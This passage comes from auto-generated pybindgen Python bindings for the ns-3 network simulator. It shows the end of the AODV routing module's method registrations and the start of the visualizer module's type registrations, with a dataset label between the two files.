ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >']) register_Ns3CallbackImpl__Void_Ns3Ptr__lt__ns3Socket__gt___Const_ns3Address___amp___Ns3Empty_Ns3Empty_Ns3Empty_Ns3Empty_Ns3Empty_Ns3Empty_Ns3Empty_methods(root_module, root_module['ns3::CallbackImpl< void, ns3::Ptr<ns3::Socket>, const ns3::Address &, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >']) register_Ns3CallbackImpl__Void_Ns3Ptr__lt__ns3Socket__gt___Ns3Empty_Ns3Empty_Ns3Empty_Ns3Empty_Ns3Empty_Ns3Empty_Ns3Empty_Ns3Empty_methods(root_module, root_module['ns3::CallbackImpl< void, ns3::Ptr<ns3::Socket>, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >']) register_Ns3CallbackImpl__Void_Ns3Ptr__lt__ns3Socket__gt___Unsigned_int_Ns3Empty_Ns3Empty_Ns3Empty_Ns3Empty_Ns3Empty_Ns3Empty_Ns3Empty_methods(root_module, root_module['ns3::CallbackImpl< void, ns3::Ptr<ns3::Socket>, unsigned int, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >']) register_Ns3Ipv4ListRouting_methods(root_module, root_module['ns3::Ipv4ListRouting']) register_Ns3HashImplementation_methods(root_module, root_module['ns3::Hash::Implementation']) register_Ns3HashFunctionFnv1a_methods(root_module, root_module['ns3::Hash::Function::Fnv1a']) register_Ns3HashFunctionHash32_methods(root_module, root_module['ns3::Hash::Function::Hash32']) register_Ns3HashFunctionHash64_methods(root_module, root_module['ns3::Hash::Function::Hash64']) register_Ns3HashFunctionMurmur3_methods(root_module, root_module['ns3::Hash::Function::Murmur3']) register_Ns3AodvDuplicatePacketDetection_methods(root_module, root_module['ns3::aodv::DuplicatePacketDetection']) register_Ns3AodvIdCache_methods(root_module, root_module['ns3::aodv::IdCache']) register_Ns3AodvNeighbors_methods(root_module, root_module['ns3::aodv::Neighbors']) register_Ns3AodvNeighborsNeighbor_methods(root_module, root_module['ns3::aodv::Neighbors::Neighbor']) register_Ns3AodvQueueEntry_methods(root_module, root_module['ns3::aodv::QueueEntry']) register_Ns3AodvRequestQueue_methods(root_module, root_module['ns3::aodv::RequestQueue']) register_Ns3AodvRerrHeader_methods(root_module, root_module['ns3::aodv::RerrHeader']) register_Ns3AodvRoutingProtocol_methods(root_module, root_module['ns3::aodv::RoutingProtocol']) register_Ns3AodvRoutingTable_methods(root_module, root_module['ns3::aodv::RoutingTable']) register_Ns3AodvRoutingTableEntry_methods(root_module, root_module['ns3::aodv::RoutingTableEntry']) register_Ns3AodvRrepAckHeader_methods(root_module, root_module['ns3::aodv::RrepAckHeader']) register_Ns3AodvRrepHeader_methods(root_module, root_module['ns3::aodv::RrepHeader']) register_Ns3AodvRreqHeader_methods(root_module, root_module['ns3::aodv::RreqHeader']) register_Ns3AodvTypeHeader_methods(root_module, root_module['ns3::aodv::TypeHeader']) return def register_Ns3Address_methods(root_module, cls): cls.add_binary_comparison_operator('==') cls.add_binary_comparison_operator('!=') cls.add_binary_comparison_operator('<') cls.add_output_stream_operator() ## address.h (module 'network'): ns3::Address::Address() [constructor] cls.add_constructor([]) ## address.h (module 'network'): ns3::Address::Address(uint8_t type, uint8_t const * buffer, uint8_t len) [constructor] cls.add_constructor([param('uint8_t', 'type'), param('uint8_t const *', 'buffer'), param('uint8_t', 'len')]) ## address.h (module 'network'): ns3::Address::Address(ns3::Address const & address) [constructor] cls.add_constructor([param('ns3::Address const &', 'address')]) ## address.h (module 'network'): bool ns3::Address::CheckCompatible(uint8_t type, uint8_t len) const [member function] cls.add_method('CheckCompatible', 'bool', [param('uint8_t', 'type'), param('uint8_t', 'len')], is_const=True) ## address.h (module 'network'): uint32_t ns3::Address::CopyAllFrom(uint8_t const * buffer, uint8_t len) [member function] cls.add_method('CopyAllFrom', 'uint32_t', [param('uint8_t const *', 'buffer'), param('uint8_t', 'len')]) ## address.h (module 'network'): uint32_t ns3::Address::CopyAllTo(uint8_t * buffer, uint8_t len) const [member function] cls.add_method('CopyAllTo', 'uint32_t', [param('uint8_t *', 'buffer'), param('uint8_t', 'len')], is_const=True) ## address.h (module 'network'): uint32_t ns3::Address::CopyFrom(uint8_t const * buffer, uint8_t len) [member function] cls.add_method('CopyFrom', 'uint32_t', [param('uint8_t const *', 'buffer'), param('uint8_t', 'len')]) ## address.h (module 'network'): uint32_t ns3::Address::CopyTo(uint8_t * buffer) const [member function] cls.add_method('CopyTo', 'uint32_t', [param('uint8_t *', 'buffer')], is_const=True) ## address.h (module 'network'): void ns3::Address::Deserialize(ns3::TagBuffer buffer) [member function] cls.add_method('Deserialize', 'void', [param('ns3::TagBuffer', 'buffer')]) ## address.h (module 'network'): uint8_t ns3::Address::GetLength() const [member function] cls.add_method('GetLength', 'uint8_t', [], is_const=True) ## address.h (module 'network'): uint32_t ns3::Address::GetSerializedSize() const [member function] cls.add_method('GetSerializedSize', 'uint32_t', [], is_const=True) ## address.h (module 'network'): bool ns3::Address::IsInvalid() const [member function] cls.add_method('IsInvalid', 'bool', [], is_const=True) ## address.h (module 'network'): bool ns3::Address::IsMatchingType(uint8_t type) const [member function] cls.add_method('IsMatchingType', 'bool', [param('uint8_t', 'type')], is_const=True) ## address.h (module 'network'): static uint8_t ns3::Address::Register() [member function] cls.add_method('Register', 'uint8_t', [], is_static=True) ## address.h (module 'network'): void ns3::Address::Serialize(ns3::TagBuffer buffer) const [member function] cls.add_method('Serialize', 'void', [param('ns3::TagBuffer', 'buffer')], is_const=True) return def register_Ns3AttributeConstructionList_methods(root_module, cls): ## attribute-construction-list.h (module 'core'): ns3::AttributeConstructionList::AttributeConstructionList(ns3::AttributeConstructionList const & arg0) [constructor] cls.add_constructor([param('ns3::AttributeConstructionList const &', 'arg0')]) ## attribute-construction-list.h (module 'core'): ns3::AttributeConstructionList::AttributeConstructionList() [constructor] cls.add_constructor([]) ## attribute-construction-list.h (module 'core'): void ns3::AttributeConstructionList::Add(std::string name, ns3::Ptr<const ns3::AttributeChecker> checker, ns3::Ptr<ns3::AttributeValue> value) [member function] cls.add_method('Add', 'void', [param('std::string', 'name'), param('ns3::Ptr< ns3::AttributeChecker const >', 'checker'), param('ns3::Ptr< ns3::AttributeValue >', 'value')]) ## attribute-construction-list.h (module 'core'): ns3::AttributeConstructionList::CIterator ns3::AttributeConstructionList::Begin() const [member function] cls.add_method('Begin', 'ns3::AttributeConstructionList::CIterator', [], is_const=True) ## attribute-construction-list.h (module 'core'): ns3::AttributeConstructionList::CIterator ns3::AttributeConstructionList::End() const [member function] cls.add_method('End', 'ns3::AttributeConstructionList::CIterator', [], is_const=True) ## attribute-construction-list.h (module 'core'): ns3::Ptr<ns3::AttributeValue> ns3::AttributeConstructionList::Find(ns3::Ptr<const ns3::AttributeChecker> checker) const [member function] cls.add_method('Find', 'ns3::Ptr< ns3::AttributeValue >', [param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')], is_const=True) return def register_Ns3AttributeConstructionListItem_methods(root_module, cls): ## attribute-construction-list.h (module 'core'): ns3::AttributeConstructionList::Item::Item() [constructor] cls.add_constructor([]) ## attribute-construction-list.h (module 'core'): ns3::AttributeConstructionList::Item::Item(ns3::AttributeConstructionList::Item const & arg0) [constructor] cls.add_constructor([param('ns3::AttributeConstructionList::Item const &', 'arg0')]) ## attribute-construction-list.h (module 'core'): ns3::AttributeConstructionList::Item::checker [variable] cls.add_instance_attribute('checker', 'ns3::Ptr< ns3::AttributeChecker const >', is_const=False) ## attribute-construction-list.h (module 'core'): ns3::AttributeConstructionList::Item::name [variable] cls.add_instance_attribute('name', 'std::string', is_const=False) ## attribute-construction-list.h (module 'core'): ns3::AttributeConstructionList::Item::value [variable] cls.add_instance_attribute('value', 'ns3::Ptr< ns3::AttributeValue >', is_const=False) return def register_Ns3Buffer_methods(root_module, cls): ## buffer.h (module 'network'): ns3::Buffer::Buffer(ns3::Buffer const & o) [constructor] cls.add_constructor([param('ns3::Buffer const &', 'o')]) ## buffer.h (module 'network'): ns3::Buffer::Buffer() [constructor] cls.add_constructor([]) ## buffer.h (module 'network'): ns3::Buffer::Buffer(uint32_t dataSize) [constructor] cls.add_constructor([param('uint32_t', 'dataSize')]) ## buffer.h (module 'network'): ns3::Buffer::Buffer(uint32_t dataSize, bool initialize) [constructor] cls.add_constructor([param('uint32_t', 'dataSize'), param('bool', 'initialize')]) ## buffer.h (module 'network'): void ns3::Buffer::AddAtEnd(uint32_t end) [member function] cls.add_method('AddAtEnd', 'void', [param('uint32_t', 'end')]) ## buffer.h (module 'network'): void ns3::Buffer::AddAtEnd(ns3::Buffer const & o) [member function] cls.add_method('AddAtEnd', 'void', [param('ns3::Buffer const &', 'o')]) ## buffer.h (module 'network'): void ns3::Buffer::AddAtStart(uint32_t start) [member function] cls.add_method('AddAtStart', 'void', [param('uint32_t', 'start')]) ## buffer.h (module 'network'): ns3::Buffer::Iterator ns3::Buffer::Begin() const [member function] cls.add_method('Begin', 'ns3::Buffer::Iterator', [], is_const=True) ## buffer.h (module 'network'): void ns3::Buffer::CopyData(std::ostream * os, uint32_t size) const [member function] cls.add_method('CopyData', 'void', [param('std::ostream *', 'os'), param('uint32_t', 'size')], is_const=True) ## buffer.h (module 'network'): uint32_t ns3::Buffer::CopyData(uint8_t * buffer, uint32_t size) const [member function] cls.add_method('CopyData', 'uint32_t', [param('uint8_t *', 'buffer'), param('uint32_t', 'size')], is_const=True) ## buffer.h (module 'network'): ns3::Buffer ns3::Buffer::CreateFragment(uint32_t start, uint32_t length) const [member function] cls.add_method('CreateFragment', 'ns3::Buffer', [param('uint32_t', 'start'), param('uint32_t', 'length')], is_const=True) ## buffer.h (module 'network'): uint32_t ns3::Buffer::Deserialize(uint8_t const * buffer, uint32_t size) [member function] cls.add_method('Deserialize', 'uint32_t', [param('uint8_t const *', 'buffer'), param('uint32_t', 'size')]) ## buffer.h (module 'network'): ns3::Buffer::Iterator ns3::Buffer::End() const [member function] cls.add_method('End', 'ns3::Buffer::Iterator', [], is_const=True) ## buffer.h (module 'network'): uint32_t ns3::Buffer::GetSerializedSize() const [member function] cls.add_method('GetSerializedSize', 'uint32_t', [], is_const=True) ## buffer.h (module 'network'): uint32_t ns3::Buffer::GetSize() const [member function] cls.add_method('GetSize', 'uint32_t', [], is_const=True) ## buffer.h (module 'network'): uint8_t const * ns3::Buffer::PeekData() const [member function] cls.add_method('PeekData', 'uint8_t const *', [], is_const=True) ## buffer.h (module 'network'): void ns3::Buffer::RemoveAtEnd(uint32_t end) [member function] cls.add_method('RemoveAtEnd', 'void', [param('uint32_t', 'end')]) ## buffer.h (module 'network'): void ns3::Buffer::RemoveAtStart(uint32_t start) [member function] cls.add_method('RemoveAtStart', 'void', [param('uint32_t', 'start')]) ## buffer.h (module 'network'): uint32_t ns3::Buffer::Serialize(uint8_t * buffer, uint32_t maxSize) const [member function] cls.add_method('Serialize', 'uint32_t', [param('uint8_t *', 'buffer'), param('uint32_t', 'maxSize')], is_const=True) return def register_Ns3BufferIterator_methods(root_module, cls): ## buffer.h (module 'network'): ns3::Buffer::Iterator::Iterator(ns3::Buffer::Iterator const & arg0) [constructor] cls.add_constructor([param('ns3::Buffer::Iterator const &', 'arg0')]) ## buffer.h (module 'network'): ns3::Buffer::Iterator::Iterator() [constructor] cls.add_constructor([]) ## buffer.h (module 'network'): uint16_t ns3::Buffer::Iterator::CalculateIpChecksum(uint16_t size) [member function] cls.add_method('CalculateIpChecksum', 'uint16_t', [param('uint16_t', 'size')]) ## buffer.h (module 'network'): uint16_t ns3::Buffer::Iterator::CalculateIpChecksum(uint16_t size, uint32_t initialChecksum) [member function] cls.add_method('CalculateIpChecksum', 'uint16_t', [param('uint16_t', 'size'), param('uint32_t', 'initialChecksum')]) ## buffer.h (module 'network'): uint32_t ns3::Buffer::Iterator::GetDistanceFrom(ns3::Buffer::Iterator const & o) const [member function] cls.add_method('GetDistanceFrom', 'uint32_t', [param('ns3::Buffer::Iterator const &', 'o')], is_const=True) ## buffer.h (module 'network'): uint32_t ns3::Buffer::Iterator::GetRemainingSize() const [member function] cls.add_method('GetRemainingSize', 'uint32_t', [], is_const=True) ## buffer.h (module 'network'): uint32_t ns3::Buffer::Iterator::GetSize() const [member function] cls.add_method('GetSize', 'uint32_t', [], is_const=True) ## buffer.h (module 'network'): bool ns3::Buffer::Iterator::IsEnd() const [member function] cls.add_method('IsEnd', 'bool', [], is_const=True) ## buffer.h (module 'network'): bool ns3::Buffer::Iterator::IsStart() const [member function] cls.add_method('IsStart', 'bool', [], is_const=True) ## buffer.h (module 'network'): void ns3::Buffer::Iterator::Next() [member function] cls.add_method('Next', 'void', []) ## buffer.h (module 'network'): void ns3::Buffer::Iterator::Next(uint32_t delta) [member function] cls.add_method('Next', 'void', [param('uint32_t', 'delta')]) ## buffer.h (module 'network'): uint8_t ns3::Buffer::Iterator::PeekU8() [member function] cls.add_method('PeekU8', 'uint8_t', []) ## buffer.h (module 'network'): void ns3::Buffer::Iterator::Prev() [member function] cls.add_method('Prev', 'void', []) ## buffer.h (module 'network'): void ns3::Buffer::Iterator::Prev(uint32_t delta) [member function] cls.add_method('Prev', 'void', [param('uint32_t', 'delta')]) ## buffer.h (module 'network'): void ns3::Buffer::Iterator::Read(uint8_t * buffer, uint32_t size) [member function] cls.add_method('Read', 'void', [param('uint8_t *', 'buffer'), param('uint32_t', 'size')]) ## buffer.h (module 'network'): void ns3::Buffer::Iterator::Read(ns3::Buffer::Iterator start, uint32_t size) [member function] cls.add_method('Read', 'void', [param('ns3::Buffer::Iterator', 'start'), param('uint32_t', 'size')]) ## buffer.h (module 'network'): uint16_t ns3::Buffer::Iterator::ReadLsbtohU16() [member function] cls.add_method('ReadLsbtohU16', 'uint16_t', []) ## buffer.h (module 'network'): uint32_t ns3::Buffer::Iterator::ReadLsbtohU32() [member function] cls.add_method('ReadLsbtohU32', 'uint32_t', []) ## buffer.h (module 'network'): uint64_t ns3::Buffer::Iterator::ReadLsbtohU64() [member function] cls.add_method('ReadLsbtohU64', 'uint64_t', []) ## buffer.h (module 'network'): uint16_t ns3::Buffer::Iterator::ReadNtohU16() [member function] cls.add_method('ReadNtohU16', 'uint16_t', []) ## buffer.h (module 'network'): uint32_t ns3::Buffer::Iterator::ReadNtohU32() [member function] cls.add_method('ReadNtohU32', 'uint32_t', []) ## buffer.h (module 'network'): uint64_t ns3::Buffer::Iterator::ReadNtohU64() [member function] cls.add_method('ReadNtohU64', 'uint64_t', []) ## buffer.h (module 'network'): uint16_t ns3::Buffer::Iterator::ReadU16() [member function] cls.add_method('ReadU16', 'uint16_t', []) ## buffer.h (module 'network'): uint32_t ns3::Buffer::Iterator::ReadU32() [member function] cls.add_method('ReadU32', 'uint32_t', []) ## buffer.h (module 'network'): uint64_t ns3::Buffer::Iterator::ReadU64() [member function] cls.add_method('ReadU64', 'uint64_t', []) ## buffer.h (module 'network'): uint8_t ns3::Buffer::Iterator::ReadU8() [member function] cls.add_method('ReadU8', 'uint8_t', []) ## buffer.h (module 'network'): void ns3::Buffer::Iterator::Write(uint8_t const * buffer, uint32_t size) [member function] cls.add_method('Write', 'void', [param('uint8_t const *', 'buffer'), param('uint32_t', 'size')]) ## buffer.h (module 'network'): void ns3::Buffer::Iterator::Write(ns3::Buffer::Iterator start, ns3::Buffer::Iterator end) [member function] cls.add_method('Write', 'void', [param('ns3::Buffer::Iterator', 'start'), param('ns3::Buffer::Iterator', 'end')]) ## buffer.h (module 'network'): void ns3::Buffer::Iterator::WriteHtolsbU16(uint16_t data) [member function] cls.add_method('WriteHtolsbU16', 'void', [param('uint16_t', 'data')]) ## buffer.h (module 'network'): void ns3::Buffer::Iterator::WriteHtolsbU32(uint32_t data) [member function] cls.add_method('WriteHtolsbU32', 'void', [param('uint32_t', 'data')]) ## buffer.h (module 'network'): void ns3::Buffer::Iterator::WriteHtolsbU64(uint64_t data) [member function] cls.add_method('WriteHtolsbU64', 'void', [param('uint64_t', 'data')]) ## buffer.h (module 'network'): void ns3::Buffer::Iterator::WriteHtonU16(uint16_t data) [member function] cls.add_method('WriteHtonU16', 'void', [param('uint16_t', 'data')]) ## buffer.h (module 'network'): void ns3::Buffer::Iterator::WriteHtonU32(uint32_t data) [member function] cls.add_method('WriteHtonU32', 'void', [param('uint32_t', 'data')]) ## buffer.h (module 'network'): void ns3::Buffer::Iterator::WriteHtonU64(uint64_t data) [member function] cls.add_method('WriteHtonU64', 'void', [param('uint64_t', 'data')]) ## buffer.h (module 'network'): void ns3::Buffer::Iterator::WriteU16(uint16_t data) [member function] cls.add_method('WriteU16', 'void', [param('uint16_t', 'data')]) ## buffer.h (module 'network'): void ns3::Buffer::Iterator::WriteU32(uint32_t data) [member function] cls.add_method('WriteU32', 'void', [param('uint32_t', 'data')]) ## buffer.h (module 'network'): void ns3::Buffer::Iterator::WriteU64(uint64_t data) [member function] cls.add_method('WriteU64', 'void', [param('uint64_t', 'data')]) ## buffer.h (module 'network'): void ns3::Buffer::Iterator::WriteU8(uint8_t data) [member function] cls.add_method('WriteU8', 'void', [param('uint8_t', 'data')]) ## buffer.h (module 'network'): void ns3::Buffer::Iterator::WriteU8(uint8_t data, uint32_t len) [member function] cls.add_method('WriteU8', 'void', [param('uint8_t', 'data'), param('uint32_t', 'len')]) return def register_Ns3ByteTagIterator_methods(root_module, cls): ## packet.h (module 'network'): ns3::ByteTagIterator::ByteTagIterator(ns3::ByteTagIterator const & arg0) [constructor] cls.add_constructor([param('ns3::ByteTagIterator const &', 'arg0')]) ## packet.h (module 'network'): bool ns3::ByteTagIterator::HasNext() const [member function] cls.add_method('HasNext', 'bool', [], is_const=True) ## packet.h (module 'network'): ns3::ByteTagIterator::Item ns3::ByteTagIterator::Next() [member function] cls.add_method('Next', 'ns3::ByteTagIterator::Item', []) return def register_Ns3ByteTagIteratorItem_methods(root_module, cls): ## packet.h (module 'network'): ns3::ByteTagIterator::Item::Item(ns3::ByteTagIterator::Item const & arg0) [constructor] cls.add_constructor([param('ns3::ByteTagIterator::Item const &', 'arg0')]) ## packet.h (module 'network'): uint32_t ns3::ByteTagIterator::Item::GetEnd() const [member function] cls.add_method('GetEnd', 'uint32_t', [], is_const=True) ## packet.h (module 'network'): uint32_t ns3::ByteTagIterator::Item::GetStart() const [member function] cls.add_method('GetStart', 'uint32_t', [], is_const=True) ## packet.h (module 'network'): void ns3::ByteTagIterator::Item::GetTag(ns3::Tag & tag) const [member function] cls.add_method('GetTag', 'void', [param('ns3::Tag &', 'tag')], is_const=True) ## packet.h (module 'network'): ns3::TypeId ns3::ByteTagIterator::Item::GetTypeId() const [member function] cls.add_method('GetTypeId', 'ns3::TypeId', [], is_const=True) return def register_Ns3ByteTagList_methods(root_module, cls): ## byte-tag-list.h (module 'network'): ns3::ByteTagList::ByteTagList() [constructor] cls.add_constructor([]) ## byte-tag-list.h (module 'network'): ns3::ByteTagList::ByteTagList(ns3::ByteTagList const & o) [constructor] cls.add_constructor([param('ns3::ByteTagList const &', 'o')]) ## byte-tag-list.h (module 'network'): ns3::TagBuffer ns3::ByteTagList::Add(ns3::TypeId tid, uint32_t bufferSize, int32_t start, int32_t end) [member function] cls.add_method('Add', 'ns3::TagBuffer', [param('ns3::TypeId', 'tid'), param('uint32_t', 'bufferSize'), param('int32_t', 'start'), param('int32_t', 'end')]) ## byte-tag-list.h (module 'network'): void ns3::ByteTagList::Add(ns3::ByteTagList const & o) [member function] cls.add_method('Add', 'void', [param('ns3::ByteTagList const &', 'o')]) ## byte-tag-list.h (module 'network'): void ns3::ByteTagList::AddAtEnd(int32_t appendOffset) [member function] cls.add_method('AddAtEnd', 'void', [param('int32_t', 'appendOffset')]) ## byte-tag-list.h (module 'network'): void ns3::ByteTagList::Add
codeparrot/github-code-clean
from pybindgen import Module, FileCodeSink, param, retval, cppclass, typehandlers import pybindgen.settings import warnings class ErrorHandler(pybindgen.settings.ErrorHandler): def handle_error(self, wrapper, exception, traceback_): warnings.warn("exception %r in wrapper %s" % (exception, wrapper)) return True pybindgen.settings.error_handler = ErrorHandler() import sys def module_init(): root_module = Module('ns.visualizer', cpp_namespace='::ns3') return root_module def register_types(module): root_module = module.get_root() ## address.h (module 'network'): ns3::Address [class] module.add_class('Address', import_from_module='ns.network') ## address.h (module 'network'): ns3::Address::MaxSize_e [enumeration] module.add_enum('MaxSize_e', ['MAX_SIZE'], outer_class=root_module['ns3::Address'], import_from_module='ns.network') ## attribute-construction-list.h (module 'core'): ns3::AttributeConstructionList [class] module.add_class('AttributeConstructionList', import_from_module='ns.core') ## attribute-construction-list.h (module 'core'): ns3::AttributeConstructionList::Item [struct] module.add_class('Item', import_from_module='ns.core', outer_class=root_module['ns3::AttributeConstructionList']) typehandlers.add_type_alias('std::list< ns3::AttributeConstructionList::Item > const_iterator', 'ns3::AttributeConstructionList::CIterator') typehandlers.add_type_alias('std::list< ns3::AttributeConstructionList::Item > const_iterator*', 'ns3::AttributeConstructionList::CIterator*') typehandlers.add_type_alias('std::list< ns3::AttributeConstructionList::Item > const_iterator&', 'ns3::AttributeConstructionList::CIterator&') ## buffer.h (module 'network'): ns3::Buffer [class] module.add_class('Buffer', import_from_module='ns.network') ## buffer.h (module 'network'): ns3::Buffer::Iterator [class] module.add_class('Iterator', import_from_module='ns.network', outer_class=root_module['ns3::Buffer']) ## packet.h (module 'network'): ns3::ByteTagIterator [class] module.add_class('ByteTagIterator', import_from_module='ns.network') ## packet.h (module 'network'): ns3::ByteTagIterator::Item [class] module.add_class('Item', import_from_module='ns.network', outer_class=root_module['ns3::ByteTagIterator']) ## byte-tag-list.h (module 'network'): ns3::ByteTagList [class] module.add_class('ByteTagList', import_from_module='ns.network') ## byte-tag-list.h (module 'network'): ns3::ByteTagList::Iterator [class] module.add_class('Iterator', import_from_module='ns.network', outer_class=root_module['ns3::ByteTagList']) ## byte-tag-list.h (module 'network'): ns3::ByteTagList::Iterator::Item [struct] module.add_class('Item', import_from_module='ns.network', outer_class=root_module['ns3::ByteTagList::Iterator']) ## callback.h (module 'core'): ns3::CallbackBase [class] module.add_class('CallbackBase', import_from_module='ns.core') ## default-deleter.h (module 'core'): ns3::DefaultDeleter<ns3::AttributeAccessor> [struct] module.add_class('DefaultDeleter', import_from_module='ns.core', template_parameters=['ns3::AttributeAccessor']) ## default-deleter.h (module 'core'): ns3::DefaultDeleter<ns3::AttributeChecker> [struct] module.add_class('DefaultDeleter', import_from_module='ns.core', template_parameters=['ns3::AttributeChecker']) ## default-deleter.h (module 'core'): ns3::DefaultDeleter<ns3::AttributeValue> [struct] module.add_class('DefaultDeleter', import_from_module='ns.core', template_parameters=['ns3::AttributeValue']) ## default-deleter.h (module 'core'): ns3::DefaultDeleter<ns3::CallbackImplBase> [struct] module.add_class('DefaultDeleter', import_from_module='ns.core', template_parameters=['ns3::CallbackImplBase']) ## default-deleter.h (module 'core'): ns3::DefaultDeleter<ns3::EventImpl> [struct] module.add_class('DefaultDeleter', import_from_module='ns.core', template_parameters=['ns3::EventImpl']) ## default-deleter.h (module 'core'): ns3::DefaultDeleter<ns3::Hash::Implementation> [struct] module.add_class('DefaultDeleter', import_from_module='ns.core', template_parameters=['ns3::Hash::Implementation']) ## default-deleter.h (module 'core'): ns3::DefaultDeleter<ns3::NixVector> [struct] module.add_class('DefaultDeleter', import_from_module='ns.core', template_parameters=['ns3::NixVector']) ## default-deleter.h (module 'core'): ns3::DefaultDeleter<ns3::Packet> [struct] module.add_class('DefaultDeleter', import_from_module='ns.core', template_parameters=['ns3::Packet']) ## default-deleter.h (module 'core'): ns3::DefaultDeleter<ns3::TraceSourceAccessor> [struct] module.add_class('DefaultDeleter', import_from_module='ns.core', template_parameters=['ns3::TraceSourceAccessor']) ## event-id.h (module 'core'): ns3::EventId [class] module.add_class('EventId', import_from_module='ns.core') ## hash.h (module 'core'): ns3::Hasher [class] module.add_class('Hasher', import_from_module='ns.core') ## inet6-socket-address.h (module 'network'): ns3::Inet6SocketAddress [class] module.add_class('Inet6SocketAddress', import_from_module='ns.network') ## inet6-socket-address.h (module 'network'): ns3::Inet6SocketAddress [class] root_module['ns3::Inet6SocketAddress'].implicitly_converts_to(root_module['ns3::Address']) ## inet-socket-address.h (module 'network'): ns3::InetSocketAddress [class] module.add_class('InetSocketAddress', import_from_module='ns.network') ## inet-socket-address.h (module 'network'): ns3::InetSocketAddress [class] root_module['ns3::InetSocketAddress'].implicitly_converts_to(root_module['ns3::Address']) ## ipv4-address.h (module 'network'): ns3::Ipv4Address [class] module.add_class('Ipv4Address', import_from_module='ns.network') ## ipv4-address.h (module 'network'): ns3::Ipv4Address [class] root_module['ns3::Ipv4Address'].implicitly_converts_to(root_module['ns3::Address']) ## ipv4-interface-address.h (module 'internet'): ns3::Ipv4InterfaceAddress [class] module.add_class('Ipv4InterfaceAddress', import_from_module='ns.internet') ## ipv4-interface-address.h (module 'internet'): ns3::Ipv4InterfaceAddress::InterfaceAddressScope_e [enumeration] module.add_enum('InterfaceAddressScope_e', ['HOST', 'LINK', 'GLOBAL'], outer_class=root_module['ns3::Ipv4InterfaceAddress'], import_from_module='ns.internet') ## ipv4-address.h (module 'network'): ns3::Ipv4Mask [class] module.add_class('Ipv4Mask', import_from_module='ns.network') ## ipv6-address.h (module 'network'): ns3::Ipv6Address [class] module.add_class('Ipv6Address', import_from_module='ns.network') ## ipv6-address.h (module 'network'): ns3::Ipv6Address [class] root_module['ns3::Ipv6Address'].implicitly_converts_to(root_module['ns3::Address']) ## ipv6-address.h (module 'network'): ns3::Ipv6Prefix [class] module.add_class('Ipv6Prefix', import_from_module='ns.network') ## mac48-address.h (module 'network'): ns3::Mac48Address [class] module.add_class('Mac48Address', import_from_module='ns.network') typehandlers.add_type_alias('void ( * ) ( ns3::Mac48Address )', 'ns3::Mac48Address::TracedCallback') typehandlers.add_type_alias('void ( * ) ( ns3::Mac48Address )*', 'ns3::Mac48Address::TracedCallback*') typehandlers.add_type_alias('void ( * ) ( ns3::Mac48Address )&', 'ns3::Mac48Address::TracedCallback&') ## mac48-address.h (module 'network'): ns3::Mac48Address [class] root_module['ns3::Mac48Address'].implicitly_converts_to(root_module['ns3::Address']) ## mac8-address.h (module 'network'): ns3::Mac8Address [class] module.add_class('Mac8Address', import_from_module='ns.network') ## mac8-address.h (module 'network'): ns3::Mac8Address [class] root_module['ns3::Mac8Address'].implicitly_converts_to(root_module['ns3::Address']) ## object-base.h (module 'core'): ns3::ObjectBase [class] module.add_class('ObjectBase', import_from_module='ns.core', allow_subclassing=True) ## object.h (module 'core'): ns3::ObjectDeleter [struct] module.add_class('ObjectDeleter', import_from_module='ns.core') ## object-factory.h (module 'core'): ns3::ObjectFactory [class] module.add_class('ObjectFactory', import_from_module='ns.core') ## packet-metadata.h (module 'network'): ns3::PacketMetadata [class] module.add_class('PacketMetadata', import_from_module='ns.network') ## packet-metadata.h (module 'network'): ns3::PacketMetadata::Item [struct] module.add_class('Item', import_from_module='ns.network', outer_class=root_module['ns3::PacketMetadata']) ## packet-metadata.h (module 'network'): ns3::PacketMetadata::Item::ItemType [enumeration] module.add_enum('ItemType', ['PAYLOAD', 'HEADER', 'TRAILER'], outer_class=root_module['ns3::PacketMetadata::Item'], import_from_module='ns.network') ## packet-metadata.h (module 'network'): ns3::PacketMetadata::ItemIterator [class] module.add_class('ItemIterator', import_from_module='ns.network', outer_class=root_module['ns3::PacketMetadata']) ## packet.h (module 'network'): ns3::PacketTagIterator [class] module.add_class('PacketTagIterator', import_from_module='ns.network') ## packet.h (module 'network'): ns3::PacketTagIterator::Item [class] module.add_class('Item', import_from_module='ns.network', outer_class=root_module['ns3::PacketTagIterator']) ## packet-tag-list.h (module 'network'): ns3::PacketTagList [class] module.add_class('PacketTagList', import_from_module='ns.network') ## packet-tag-list.h (module 'network'): ns3::PacketTagList::TagData [struct] module.add_class('TagData', import_from_module='ns.network', outer_class=root_module['ns3::PacketTagList']) ## pyviz.h (module 'visualizer'): ns3::PyViz [class] module.add_class('PyViz') ## pyviz.h (module 'visualizer'): ns3::PyViz::PacketCaptureMode [enumeration] module.add_enum('PacketCaptureMode', ['PACKET_CAPTURE_DISABLED', 'PACKET_CAPTURE_FILTER_HEADERS_OR', 'PACKET_CAPTURE_FILTER_HEADERS_AND'], outer_class=root_module['ns3::PyViz']) ## pyviz.h (module 'visualizer'): ns3::PyViz::LastPacketsSample [struct] module.add_class('LastPacketsSample', outer_class=root_module['ns3::PyViz']) ## pyviz.h (module 'visualizer'): ns3::PyViz::NetDeviceStatistics [struct] module.add_class('NetDeviceStatistics', outer_class=root_module['ns3::PyViz']) ## pyviz.h (module 'visualizer'): ns3::PyViz::NodeStatistics [struct] module.add_class('NodeStatistics', outer_class=root_module['ns3::PyViz']) ## pyviz.h (module 'visualizer'): ns3::PyViz::PacketCaptureOptions [struct] module.add_class('PacketCaptureOptions', outer_class=root_module['ns3::PyViz']) ## pyviz.h (module 'visualizer'): ns3::PyViz::PacketDropSample [struct] module.add_class('PacketDropSample', outer_class=root_module['ns3::PyViz']) ## pyviz.h (module 'visualizer'): ns3::PyViz::PacketSample [struct] module.add_class('PacketSample', outer_class=root_module['ns3::PyViz']) ## pyviz.h (module 'visualizer'): ns3::PyViz::RxPacketSample [struct] module.add_class('RxPacketSample', parent=root_module['ns3::PyViz::PacketSample'], outer_class=root_module['ns3::PyViz']) ## pyviz.h (module 'visualizer'): ns3::PyViz::TransmissionSample [struct] module.add_class('TransmissionSample', outer_class=root_module['ns3::PyViz']) ## pyviz.h (module 'visualizer'): 